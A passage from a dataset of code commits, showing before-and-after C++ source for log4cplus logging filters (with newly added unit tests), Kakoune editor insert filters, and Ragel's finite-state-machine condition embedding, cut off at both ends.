properties.getProperty( LOG4CPLUS_TEXT(\"StringToMatch\") );\n}\n\n\nvoid\nStringMatchFilter::init()\n{\n acceptOnMatch = true;\n}\n\n\nFilterResult\nStringMatchFilter::decide(const InternalLoggingEvent& event) const\n{\n const tstring& message = event.getMessage();\n\n if(stringToMatch.empty () || message.empty ()) {\n return NEUTRAL;\n }\n\n if(message.find(stringToMatch) == tstring::npos) {\n return NEUTRAL;\n }\n else { \/\/ we've got a match\n return (acceptOnMatch ? ACCEPT : DENY);\n }\n}\n\n\n\/\/\n\/\/\n\/\/\n\nFunctionFilter::FunctionFilter (FunctionFilter::Function f)\n : function (std::move (f))\n{ }\n\n\nFilterResult\nFunctionFilter::decide(const InternalLoggingEvent& event) const\n{\n return function (event);\n}\n\n\n} } \/\/ namespace log4cplus { namespace spi {\n<commit_msg>Cover DenyAllFilter and LogLevelMatchFilter by unit tests.<commit_after>\/\/ Module: Log4CPLUS\n\/\/ File: filter.cxx\n\/\/ Created: 5\/2003\n\/\/ Author: Tad E. Smith\n\/\/\n\/\/\n\/\/ Copyright 2003-2015 Tad E. Smith\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <log4cplus\/spi\/filter.h>\n#include <log4cplus\/helpers\/loglog.h>\n#include <log4cplus\/helpers\/stringhelper.h>\n#include <log4cplus\/helpers\/property.h>\n#include <log4cplus\/spi\/loggingevent.h>\n#include <log4cplus\/thread\/syncprims-pub-impl.h>\n\n#if defined (LOG4CPLUS_WITH_UNIT_TESTS)\n#include <log4cplus\/logger.h>\n#include <catch.hpp>\n#endif\n\n\nnamespace log4cplus { namespace spi {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ global methods\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nFilterResult\ncheckFilter(const Filter* filter, const InternalLoggingEvent& event)\n{\n const Filter* currentFilter = filter;\n while(currentFilter) {\n FilterResult result = currentFilter->decide(event);\n if(result != NEUTRAL) {\n return result;\n }\n\n currentFilter = currentFilter->next.get();\n }\n\n return ACCEPT;\n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Filter implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nFilter::Filter()\n{\n}\n\n\nFilter::~Filter()\n{\n}\n\n\nvoid\nFilter::appendFilter(FilterPtr filter)\n{\n if (! next)\n next = filter;\n else\n next->appendFilter(filter);\n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DenyAllFilter implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nDenyAllFilter::DenyAllFilter ()\n{ }\n\n\nDenyAllFilter::DenyAllFilter (const helpers::Properties&)\n{ }\n\n\nFilterResult\nDenyAllFilter::decide(const InternalLoggingEvent&) const\n{\n return DENY;\n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ LogLevelMatchFilter implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nLogLevelMatchFilter::LogLevelMatchFilter()\n{\n init();\n}\n\n\n\nLogLevelMatchFilter::LogLevelMatchFilter(const helpers::Properties& properties)\n{\n init();\n\n properties.getBool (acceptOnMatch, LOG4CPLUS_TEXT(\"AcceptOnMatch\"));\n\n tstring const & log_level_to_match\n = properties.getProperty( LOG4CPLUS_TEXT(\"LogLevelToMatch\") );\n logLevelToMatch = getLogLevelManager().fromString(log_level_to_match);\n}\n\n\nvoid\nLogLevelMatchFilter::init()\n{\n acceptOnMatch = true;\n logLevelToMatch = NOT_SET_LOG_LEVEL;\n}\n\n\nFilterResult\nLogLevelMatchFilter::decide(const InternalLoggingEvent& event) const\n{\n if(logLevelToMatch == NOT_SET_LOG_LEVEL) {\n return NEUTRAL;\n }\n\n bool matchOccured = (logLevelToMatch == event.getLogLevel());\n\n if(matchOccured) {\n return (acceptOnMatch ? ACCEPT : DENY);\n }\n else {\n return NEUTRAL;\n }\n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ LogLevelRangeFilter implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nLogLevelRangeFilter::LogLevelRangeFilter()\n{\n init();\n}\n\n\n\nLogLevelRangeFilter::LogLevelRangeFilter(const helpers::Properties& properties)\n{\n init();\n\n properties.getBool (acceptOnMatch = false,\n LOG4CPLUS_TEXT(\"AcceptOnMatch\"));\n\n tstring const & log_level_min\n = properties.getProperty( LOG4CPLUS_TEXT(\"LogLevelMin\") );\n logLevelMin = getLogLevelManager().fromString(log_level_min);\n\n tstring const & log_level_max\n = properties.getProperty( LOG4CPLUS_TEXT(\"LogLevelMax\") );\n logLevelMax = getLogLevelManager().fromString(log_level_max);\n}\n\n\nvoid\nLogLevelRangeFilter::init()\n{\n acceptOnMatch = true;\n logLevelMin = NOT_SET_LOG_LEVEL;\n logLevelMax = NOT_SET_LOG_LEVEL;\n}\n\n\nFilterResult\nLogLevelRangeFilter::decide(const InternalLoggingEvent& event) const\n{\n if((logLevelMin != NOT_SET_LOG_LEVEL) && (event.getLogLevel() < logLevelMin)) {\n \/\/ priority of event is less than minimum\n return DENY;\n }\n\n if((logLevelMax != NOT_SET_LOG_LEVEL) && (event.getLogLevel() > logLevelMax)) {\n \/\/ priority of event is greater than maximum\n return DENY;\n }\n\n if(acceptOnMatch) {\n \/\/ this filter set up to bypass later filters and always return\n \/\/ accept if priority in range\n return ACCEPT;\n }\n else {\n \/\/ event is ok for this filter; allow later filters to have a look...\n return NEUTRAL;\n }\n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ StringMatchFilter implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nStringMatchFilter::StringMatchFilter()\n{\n init();\n}\n\n\n\nStringMatchFilter::StringMatchFilter(const helpers::Properties& properties)\n{\n init();\n\n properties.getBool (acceptOnMatch = false,\n LOG4CPLUS_TEXT(\"AcceptOnMatch\"));\n stringToMatch = properties.getProperty( LOG4CPLUS_TEXT(\"StringToMatch\") );\n}\n\n\nvoid\nStringMatchFilter::init()\n{\n acceptOnMatch = true;\n}\n\n\nFilterResult\nStringMatchFilter::decide(const InternalLoggingEvent& event) const\n{\n const tstring& message = event.getMessage();\n\n if(stringToMatch.empty () || message.empty ()) {\n return NEUTRAL;\n }\n\n if(message.find(stringToMatch) == tstring::npos) {\n return NEUTRAL;\n }\n else { \/\/ we've got a match\n return (acceptOnMatch ? ACCEPT : DENY);\n }\n}\n\n\n\/\/\n\/\/\n\/\/\n\nFunctionFilter::FunctionFilter (FunctionFilter::Function f)\n : function (std::move (f))\n{ }\n\n\nFilterResult\nFunctionFilter::decide(const InternalLoggingEvent& event) const\n{\n return function (event);\n}\n\n\n#if defined (LOG4CPLUS_WITH_UNIT_TESTS)\nCATCH_TEST_CASE (\"Filter\", \"[filter]\")\n{\n FilterPtr filter;\n Logger log (Logger::getInstance (LOG4CPLUS_TEXT (\"test\")));\n InternalLoggingEvent info_ev (log.getName (), INFO_LOG_LEVEL,\n LOG4CPLUS_C_STR_TO_TSTRING (LOG4CPLUS_TEXT (\"info log message\")),\n __FILE__, __LINE__);\n InternalLoggingEvent error_ev (log.getName (), ERROR_LOG_LEVEL,\n LOG4CPLUS_C_STR_TO_TSTRING (LOG4CPLUS_TEXT (\"error log message\")),\n __FILE__, __LINE__);\n\n CATCH_SECTION (\"deny all filter\")\n {\n filter = new DenyAllFilter;\n CATCH_REQUIRE (filter->decide (info_ev) == DENY);\n CATCH_REQUIRE (checkFilter (filter.get (), info_ev) == DENY);\n }\n\n CATCH_SECTION (\"log level match filter\")\n {\n helpers::Properties props;\n props.setProperty (LOG4CPLUS_TEXT(\"LogLevelToMatch\"),\n LOG4CPLUS_TEXT (\"INFO\"));\n filter = new LogLevelMatchFilter (props);\n CATCH_REQUIRE (filter->decide (info_ev) == ACCEPT);\n }\n}\n\n#endif\n\n} } \/\/ namespace log4cplus { namespace spi {\n<|endoftext|>"} {"text":"<commit_before>#include \"filters.hh\"\n\n#include \"buffer.hh\"\n#include \"selection.hh\"\n\nnamespace Kakoune\n{\n\nvoid preserve_indent(Buffer& buffer, Selection& selection, String& content)\n{\n if (content == \"\\n\")\n {\n BufferIterator line_begin = buffer.iterator_at_line_begin(selection.last() - 1);\n BufferIterator first_non_white = line_begin;\n while ((*first_non_white == '\\t' or *first_non_white == ' ') and\n not first_non_white.is_end())\n ++first_non_white;\n\n content += buffer.string(line_begin, first_non_white);\n }\n}\n\nvoid cleanup_whitespaces(Buffer& buffer, Selection& selection, String& content)\n{\n const BufferIterator& position = selection.last();\n if (content[0] == '\\n' and not position.is_begin())\n {\n BufferIterator whitespace_start = position-1;\n while ((*whitespace_start == ' ' or *whitespace_start == '\\t') and\n not whitespace_start .is_begin())\n --whitespace_start;\n ++whitespace_start;\n if (whitespace_start!= position)\n buffer.erase(whitespace_start, position);\n }\n}\n\nvoid expand_tabulations(Buffer& buffer, Selection& selection, String& content)\n{\n const int tabstop = buffer.options()[\"tabstop\"].get<int>();\n if (content == \"\\t\")\n {\n int column = 0;\n const BufferIterator& position = selection.last();\n for (auto line_it = buffer.iterator_at_line_begin(position);\n line_it != position; ++line_it)\n {\n kak_assert(*line_it != '\\n');\n if (*line_it == '\\t')\n column += tabstop - (column % tabstop);\n else\n ++column;\n }\n\n int count = tabstop - (column % tabstop);\n content = String();\n for (int i = 0; i < count; ++i)\n content += ' ';\n }\n}\n\nstruct RegexFilter\n{\n RegexFilter(const String& line_match, const String& insert_match,\n const String& replacement)\n : m_line_match(line_match.c_str()), m_insert_match(insert_match.c_str()),\n m_replacement(replacement.c_str()) {}\n\n void operator() (Buffer& buffer, Selection& selection, String& content)\n {\n const auto& position = selection.last();\n auto line_begin = buffer.iterator_at_line_begin(position);\n boost::match_results<BufferIterator> results;\n if (boost::regex_match(content.c_str(), m_insert_match) and\n boost::regex_match(line_begin, position, results, m_line_match))\n {\n content = results.format(m_replacement.c_str());\n auto it = std::find(content.begin(), content.end(), '$');\n if (it != content.end())\n {\n ++it;\n if (it != content.end() && *it == 'c')\n {\n String suffix(it+1, content.end());\n content = String(content.begin(), it-1);\n\n auto first = selection.first();\n auto last = selection.last();\n buffer.insert(position, suffix);\n if (selection.first() == selection.last())\n selection.first() -= suffix.length();\n selection.last() -= suffix.length();\n }\n }\n }\n }\n\nprivate:\n Regex m_line_match;\n Regex m_insert_match;\n String m_replacement;\n};\n\nFilterAndId regex_filter_factory(const FilterParameters& params)\n{\n if (params.size() != 3)\n throw runtime_error(\"wrong parameter count\");\n\n return FilterAndId{\"re\" + params[0] + \"__\" + params[1],\n RegexFilter{params[0], params[1], params[2]}};\n}\n\ntemplate<void (*filter_func)(Buffer&, Selection&, String&)>\nclass SimpleFilterFactory\n{\npublic:\n SimpleFilterFactory(const String& id) : m_id(id) {}\n\n FilterAndId operator()(const FilterParameters& params) const\n {\n return FilterAndId(m_id, FilterFunc(filter_func));\n }\nprivate:\n String m_id;\n};\n\nFilterAndId filter_group_factory(const FilterParameters& params)\n{\n if (params.size() != 1)\n throw runtime_error(\"wrong parameter count\");\n\n return FilterAndId(params[0], FilterGroup());\n}\n\nvoid register_filters()\n{\n FilterRegistry& registry = FilterRegistry::instance();\n\n registry.register_func(\"preserve_indent\", SimpleFilterFactory<preserve_indent>(\"preserve_indent\"));\n registry.register_func(\"cleanup_whitespaces\", SimpleFilterFactory<cleanup_whitespaces>(\"cleanup_whitespaces\"));\n registry.register_func(\"expand_tabulations\", SimpleFilterFactory<expand_tabulations>(\"expand_tabulations\"));\n registry.register_func(\"regex\", regex_filter_factory);\n registry.register_func(\"group\", filter_group_factory);\n}\n\n}\n<commit_msg>minor code cleanups in filters.cc<commit_after>#include \"filters.hh\"\n\n#include \"buffer.hh\"\n#include \"selection.hh\"\n\nnamespace Kakoune\n{\n\nvoid preserve_indent(Buffer& buffer, Selection& selection, String& content)\n{\n if (content == \"\\n\")\n {\n BufferCoord line_begin{selection.last().line(), 0};\n auto first_non_white = buffer.iterator_at(line_begin);\n while ((*first_non_white == '\\t' or *first_non_white == ' ') and\n not first_non_white.is_end())\n ++first_non_white;\n\n content += buffer.string(line_begin, first_non_white);\n }\n}\n\nvoid cleanup_whitespaces(Buffer& buffer, Selection& selection, String& content)\n{\n const auto position = buffer.iterator_at(selection.last());\n if (content[0] == '\\n' and not position.is_begin())\n {\n auto whitespace_start = position-1;\n while ((*whitespace_start == ' ' or *whitespace_start == '\\t') and\n not whitespace_start .is_begin())\n --whitespace_start;\n ++whitespace_start;\n if (whitespace_start != position)\n buffer.erase(whitespace_start, position);\n }\n}\n\nvoid expand_tabulations(Buffer& buffer, Selection& selection, String& content)\n{\n const int tabstop = buffer.options()[\"tabstop\"].get<int>();\n if (content == \"\\t\")\n {\n int column = 0;\n const auto position = buffer.iterator_at(selection.last());\n for (auto it = buffer.iterator_at_line_begin(position);\n it != position; ++it)\n {\n kak_assert(*it != '\\n');\n if (*it == '\\t')\n column += tabstop - (column % tabstop);\n else\n ++column;\n }\n\n CharCount count = tabstop - (column % tabstop);\n content = String(' ', count);\n }\n}\n\nstruct RegexFilter\n{\n RegexFilter(const String& line_match, const String& insert_match,\n const String& replacement)\n : m_line_match(line_match.c_str()), m_insert_match(insert_match.c_str()),\n m_replacement(replacement.c_str()) {}\n\n void operator() (Buffer& buffer, Selection& selection, String& content)\n {\n const auto position = buffer.iterator_at(selection.last());\n auto line_begin = buffer.iterator_at_line_begin(position);\n boost::match_results<BufferIterator> results;\n if (boost::regex_match(content.c_str(), m_insert_match) and\n boost::regex_match(line_begin, position, results, m_line_match))\n {\n content = results.format(m_replacement.c_str());\n auto it = std::find(content.begin(), content.end(), '$');\n if (it != content.end())\n {\n ++it;\n if (it != content.end() && *it == 'c')\n {\n String suffix(it+1, content.end());\n content = String(content.begin(), it-1);\n\n auto first = selection.first();\n auto last = selection.last();\n buffer.insert(position, suffix);\n if (selection.first() == selection.last())\n selection.first() -= suffix.length();\n selection.last() -= suffix.length();\n }\n }\n }\n }\n\nprivate:\n Regex m_line_match;\n Regex m_insert_match;\n String m_replacement;\n};\n\nFilterAndId regex_filter_factory(const FilterParameters& params)\n{\n if (params.size() != 3)\n throw runtime_error(\"wrong parameter count\");\n\n return FilterAndId{\"re\" + params[0] + \"__\" + params[1],\n RegexFilter{params[0], params[1], params[2]}};\n}\n\ntemplate<void (*filter_func)(Buffer&, Selection&, String&)>\nclass SimpleFilterFactory\n{\npublic:\n SimpleFilterFactory(const String& id) : m_id(id) {}\n\n FilterAndId operator()(const FilterParameters& params) const\n {\n return FilterAndId(m_id, FilterFunc(filter_func));\n }\nprivate:\n String m_id;\n};\n\nFilterAndId filter_group_factory(const FilterParameters& params)\n{\n if (params.size() != 1)\n throw runtime_error(\"wrong parameter count\");\n\n return FilterAndId(params[0], FilterGroup());\n}\n\nvoid register_filters()\n{\n FilterRegistry& registry = FilterRegistry::instance();\n\n registry.register_func(\"preserve_indent\", SimpleFilterFactory<preserve_indent>(\"preserve_indent\"));\n registry.register_func(\"cleanup_whitespaces\", SimpleFilterFactory<cleanup_whitespaces>(\"cleanup_whitespaces\"));\n registry.register_func(\"expand_tabulations\", SimpleFilterFactory<expand_tabulations>(\"expand_tabulations\"));\n registry.register_func(\"regex\", regex_filter_factory);\n registry.register_func(\"group\", filter_group_factory);\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2001, 2002, 2006, 2011 Adrian Thurston <thurston@complang.org>\n *\/\n\n\/*\n * Setting conditions and merging states with conditions are similar activities\n * when expressed in code. The critical difference is that a merge is a union\n * of multiple paths. We have to take both paths. Setting a condition, however,\n * is a restriction. We have to expand the transition to follow both values of\n * the condition, then remove the one that is not set.\n *\/\n\n#include \"fsmgraph.h\"\n#include \"mergesort.h\"\n#include \"parsedata.h\"\n\n#include <assert.h>\n#include <iostream>\n\nlong TransAp::condFullSize() \n\t{ return condSpace == 0 ? 1 : condSpace->fullSize(); }\n\nvoid FsmAp::expandConds( StateAp *fromState, TransAp *trans, const CondSet &fromCS, const CondSet &mergedCS )\n{\n\t\/* Need to transform condition element to the merged set. *\/\n\tfor ( CondList::Iter cti = trans->tcap()->condList; cti.lte(); cti++ ) {\n\t\tlong origVal = cti->key.getVal();\n\t\tlong newVal = 0;\n\n\t\t\/* Iterate the bit positions in the from set. *\/\n\t\tfor ( CondSet::Iter csi = fromCS; csi.lte(); csi++ ) {\n\t\t\t\/* If set, find it in the merged set and flip the bit to 1. *\/\n\t\t\tif ( origVal & (1 << csi.pos()) ) {\n\t\t\t\t\/* The condition is set. Find the bit position in the merged\n\t\t\t\t * set. *\/\n\t\t\t\tAction **cim = mergedCS.find( *csi );\n\t\t\t\tlong bitPos = (cim - mergedCS.data);\n\t\t\t\tnewVal |= 1 << bitPos;\n\t\t\t}\n\t\t}\n\n\t\tif ( origVal != newVal )\n\t\t\tcti->key = newVal;\n\t}\n\n\t\/* Need to double up the whole transition list for each condition test in\n\t * merged that is not in from. The one we add has the bit in question set.\n\t * *\/\n\tfor ( CondSet::Iter csi = mergedCS; csi.lte(); csi++ ) {\n\t\tAction **cim = fromCS.find( *csi );\n\t\tif ( cim == 0 ) {\n\t\t\tCondList newItems;\n\t\t\tfor ( CondList::Iter cti = trans->tcap()->condList; cti.lte(); cti++ ) {\n\t\t\t\t\/* Sub-transition for conditions. *\/\n\t\t\t\tCondAp *cond = new CondAp( trans );\n\n\t\t\t\t\/* Attach only if our caller wants the expanded transitions\n\t\t\t\t * attached. *\/\n\t\t\t\tattachTrans( fromState, cti->toState, cond );\n\t\t\t\t\n\t\t\t\t\/* Call the user callback to add in the original source transition. *\/\n\t\t\t\taddInTrans( cond, cti.ptr );\n\n\t\t\t\tcond->key = cti->key.getVal() | (1 << csi.pos());\n\n\t\t\t\tnewItems.append( cond );\n\t\t\t}\n\n\t\t\t\/* Merge newItems in. Both the condList and newItems are sorted. Make\n\t\t\t * a sorted list out of them. *\/\n\t\t\tCondAp *dest = trans->tcap()->condList.head;\n\t\t\twhile ( dest != 0 && newItems.head != 0 ) { \n\t\t\t\tif ( newItems.head->key.getVal() > dest->key.getVal() ) {\n\t\t\t\t\tdest = dest->next;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t\/* Pop the item for insertion. *\/\n\t\t\t\t\tCondAp *ins = newItems.detachFirst();\n\t\t\t\t\ttrans->tcap()->condList.addBefore( dest, ins );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/* Append the rest of the items. *\/\n\t\t\ttrans->tcap()->condList.append( newItems );\n\t\t}\n\t}\n}\n\nvoid FsmAp::expandCondTransitions( StateAp *fromState,\n\t\tTransAp *destTrans, TransAp *srcTrans )\n{\n\tCondSet destCS, srcCS;\n\tCondSet mergedCS;\n\n\tif ( destTrans->condSpace != 0 )\n\t\tdestCS.insert( destTrans->condSpace->condSet );\n\n\tif ( srcTrans->condSpace != 0 )\n\t\tsrcCS.insert( srcTrans->condSpace->condSet );\n\t\n\tmergedCS.insert( destCS );\n\tmergedCS.insert( srcCS );\n\n\texpandConds( fromState, destTrans, destCS, mergedCS );\n\texpandConds( fromState, srcTrans, srcCS, mergedCS );\n\n\tCondSpace *mergedCondSpace = addCondSpace( mergedCS );\n\tdestTrans->condSpace = mergedCondSpace;\n}\n\nCondSpace *FsmAp::addCondSpace( const CondSet &condSet )\n{\n\tCondSpace *condSpace = ctx->condData->condSpaceMap.find( condSet );\n\tif ( condSpace == 0 ) {\n\t\tcondSpace = new CondSpace( condSet );\n\t\tctx->condData->condSpaceMap.insert( condSpace );\n\t}\n\treturn condSpace;\n}\n\n\nvoid FsmAp::embedCondition( MergeData &md, StateAp *state, Action *condAction, bool sense )\n{\n\tfor ( TransList::Iter tr = state->outList; tr.lte(); tr++ ) {\n\n\t\t\/* The original cond set. *\/\n\t\tCondSet origCS;\n\t\tif ( tr->condSpace != 0 )\n\t\t\torigCS.insert( tr->condSpace->condSet );\n\n\t\t\/* The merged cond set. *\/\n\t\tCondSet mergedCS;\n\t\tmergedCS.insert( origCS );\n\t\tmergedCS.insert( condAction );\n\n\t\t\/* Allocate a cond space for the merged set. *\/\n\t\tCondSpace *mergedCondSpace = addCondSpace( mergedCS );\n\t\ttr->condSpace = mergedCondSpace;\n\n\t\t\/* Translate original condition values, making space for the new bit\n\t\t * (possibly) introduced by the condition embedding. *\/\n\t\tfor ( CondList::Iter cti = tr->tcap()->condList; cti.lte(); cti++ ) {\n\t\t\tlong origVal = cti->key.getVal();\n\t\t\tlong newVal = 0;\n\n\t\t\t\/* For every set bit in the orig, find it's position in the merged\n\t\t\t * and set the bit appropriately. *\/\n\t\t\tfor ( CondSet::Iter csi = origCS; csi.lte(); csi++ ) {\n\t\t\t\t\/* If set, find it in the merged set and flip the bit to 1. If\n\t\t\t\t * not set, there is nothing to do (convenient eh?) *\/\n\t\t\t\tif ( origVal & (1 << csi.pos()) ) {\n\t\t\t\t\t\/* The condition is set. Find the bit position in the\n\t\t\t\t\t * merged set. *\/\n\t\t\t\t\tAction **cim = mergedCS.find( *csi );\n\t\t\t\t\tlong bitPos = (cim - mergedCS.data);\n\t\t\t\t\tnewVal |= 1 << bitPos;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( origVal != newVal ) {\n\t\t\t\tstd::cerr << \"orig: \" << origVal << \" new: \" << newVal << std::endl;\n\t\t\t\tcti->key = newVal;\n\t\t\t}\n\n\t\t\t\/* Now set the new bit appropriately. Since it defaults to zero we\n\t\t\t * only take action if sense is positive. *\/\n\t\t\tif ( sense ) {\n\t\t\t\tAction **cim = mergedCS.find( condAction );\n\t\t\t\tint pos = cim - mergedCS.data;\n\t\t\t\tcti->key = cti->key.getVal() | (1 << pos);\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid FsmAp::embedCondition( StateAp *state, Action *condAction, bool sense )\n{\n\tMergeData md;\n\n\t\/* Turn on misfit accounting to possibly catch the old start state. *\/\n\tsetMisfitAccounting( true );\n\n\t\/* Worker. *\/\n\tembedCondition( md, state, condAction, sense );\n\n\t\/* Fill in any states that were newed up as combinations of others. *\/\n\tfillInStates( md );\n\n\t\/* Remove the misfits and turn off misfit accounting. *\/\n\tremoveMisfits();\n\tsetMisfitAccounting( false );\n}\n<commit_msg>condition embedding now replaces the TransDataAp with the cond version<commit_after>\/*\n * Copyright 2001, 2002, 2006, 2011 Adrian Thurston <thurston@complang.org>\n *\/\n\n\/*\n * Setting conditions and merging states with conditions are similar activities\n * when expressed in code. The critical difference is that a merge is a union\n * of multiple paths. We have to take both paths. Setting a condition, however,\n * is a restriction. We have to expand the transition to follow both values of\n * the condition, then remove the one that is not set.\n *\/\n\n#include \"fsmgraph.h\"\n#include \"mergesort.h\"\n#include \"parsedata.h\"\n\n#include <assert.h>\n#include <iostream>\n\nlong TransAp::condFullSize() \n\t{ return condSpace == 0 ? 1 : condSpace->fullSize(); }\n\nvoid FsmAp::expandConds( StateAp *fromState, TransAp *trans, const CondSet &fromCS, const CondSet &mergedCS )\n{\n\t\/* Need to transform condition element to the merged set. *\/\n\tfor ( CondList::Iter cti = trans->tcap()->condList; cti.lte(); cti++ ) {\n\t\tlong origVal = cti->key.getVal();\n\t\tlong newVal = 0;\n\n\t\t\/* Iterate the bit positions in the from set. *\/\n\t\tfor ( CondSet::Iter csi = fromCS; csi.lte(); csi++ ) {\n\t\t\t\/* If set, find it in the merged set and flip the bit to 1. *\/\n\t\t\tif ( origVal & (1 << csi.pos()) ) {\n\t\t\t\t\/* The condition is set. Find the bit position in the merged\n\t\t\t\t * set. *\/\n\t\t\t\tAction **cim = mergedCS.find( *csi );\n\t\t\t\tlong bitPos = (cim - mergedCS.data);\n\t\t\t\tnewVal |= 1 << bitPos;\n\t\t\t}\n\t\t}\n\n\t\tif ( origVal != newVal )\n\t\t\tcti->key = newVal;\n\t}\n\n\t\/* Need to double up the whole transition list for each condition test in\n\t * merged that is not in from. The one we add has the bit in question set.\n\t * *\/\n\tfor ( CondSet::Iter csi = mergedCS; csi.lte(); csi++ ) {\n\t\tAction **cim = fromCS.find( *csi );\n\t\tif ( cim == 0 ) {\n\t\t\tCondList newItems;\n\t\t\tfor ( CondList::Iter cti = trans->tcap()->condList; cti.lte(); cti++ ) {\n\t\t\t\t\/* Sub-transition for conditions. *\/\n\t\t\t\tCondAp *cond = new CondAp( trans );\n\n\t\t\t\t\/* Attach only if our caller wants the expanded transitions\n\t\t\t\t * attached. *\/\n\t\t\t\tattachTrans( fromState, cti->toState, cond );\n\t\t\t\t\n\t\t\t\t\/* Call the user callback to add in the original source transition. *\/\n\t\t\t\taddInTrans( cond, cti.ptr );\n\n\t\t\t\tcond->key = cti->key.getVal() | (1 << csi.pos());\n\n\t\t\t\tnewItems.append( cond );\n\t\t\t}\n\n\t\t\t\/* Merge newItems in. Both the condList and newItems are sorted. Make\n\t\t\t * a sorted list out of them. *\/\n\t\t\tCondAp *dest = trans->tcap()->condList.head;\n\t\t\twhile ( dest != 0 && newItems.head != 0 ) { \n\t\t\t\tif ( newItems.head->key.getVal() > dest->key.getVal() ) {\n\t\t\t\t\tdest = dest->next;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t\/* Pop the item for insertion. *\/\n\t\t\t\t\tCondAp *ins = newItems.detachFirst();\n\t\t\t\t\ttrans->tcap()->condList.addBefore( dest, ins );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/* Append the rest of the items. *\/\n\t\t\ttrans->tcap()->condList.append( newItems );\n\t\t}\n\t}\n}\n\nvoid FsmAp::expandCondTransitions( StateAp *fromState,\n\t\tTransAp *destTrans, TransAp *srcTrans )\n{\n\tCondSet destCS, srcCS;\n\tCondSet mergedCS;\n\n\tif ( destTrans->condSpace != 0 )\n\t\tdestCS.insert( destTrans->condSpace->condSet );\n\n\tif ( srcTrans->condSpace != 0 )\n\t\tsrcCS.insert( srcTrans->condSpace->condSet );\n\t\n\tmergedCS.insert( destCS );\n\tmergedCS.insert( srcCS );\n\n\texpandConds( fromState, destTrans, destCS, mergedCS );\n\texpandConds( fromState, srcTrans, srcCS, mergedCS 